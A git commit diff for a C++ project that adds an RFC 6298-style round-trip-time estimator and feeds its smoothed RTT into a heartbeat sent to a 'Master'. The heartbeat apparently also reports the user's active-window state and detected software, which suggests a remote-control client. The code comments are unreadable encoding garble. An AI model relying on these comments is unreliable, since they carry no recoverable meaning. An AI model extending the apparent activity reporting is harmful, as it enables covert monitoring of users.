Improve: Master using ZSTD_DCtx and using new RTT
This commit is contained in:
@@ -91,6 +91,36 @@ private:
|
||||
}
|
||||
};
|
||||
|
||||
struct RttEstimator {
|
||||
double srtt = 0.0; // ƽ<><C6BD> RTT (<28><>)
|
||||
double rttvar = 0.0; // RTT <20><><EFBFBD><EFBFBD> (<28><>)
|
||||
double rto = 0.0; // <20><>ʱʱ<CAB1><CAB1> (<28><>)
|
||||
bool initialized = false;
|
||||
|
||||
void update_from_sample(double rtt_ms) {
|
||||
const double alpha = 1.0 / 8;
|
||||
const double beta = 1.0 / 4;
|
||||
|
||||
// ת<><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double rtt = rtt_ms / 1000.0;
|
||||
|
||||
if (!initialized) {
|
||||
srtt = rtt;
|
||||
rttvar = rtt / 2.0;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
initialized = true;
|
||||
}
|
||||
else {
|
||||
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
|
||||
srtt = (1.0 - alpha) * srtt + alpha * rtt;
|
||||
rto = srtt + 4.0 * rttvar;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>С RTO<54><4F>RFC 6298 <20>Ƽ<EFBFBD> 1 <20>룩
|
||||
if (rto < 1.0) rto = 1.0;
|
||||
}
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
{
|
||||
public:
|
||||
@@ -107,7 +137,7 @@ public:
|
||||
UINT GetAvailableIndex();
|
||||
State& g_bExit; // Hide base class variable
|
||||
MasterSettings m_settings;
|
||||
int m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
|
||||
RttEstimator m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int SendHeartbeat() {
|
||||
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
|
||||
@@ -122,7 +152,7 @@ public:
|
||||
|
||||
ActivityWindow checker;
|
||||
auto s = checker.Check();
|
||||
Heartbeat a(s, m_nNetPing);
|
||||
Heartbeat a(s, m_nNetPing.srtt);
|
||||
|
||||
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
|
||||
|
||||
|
||||
Reference in New Issue
Block a user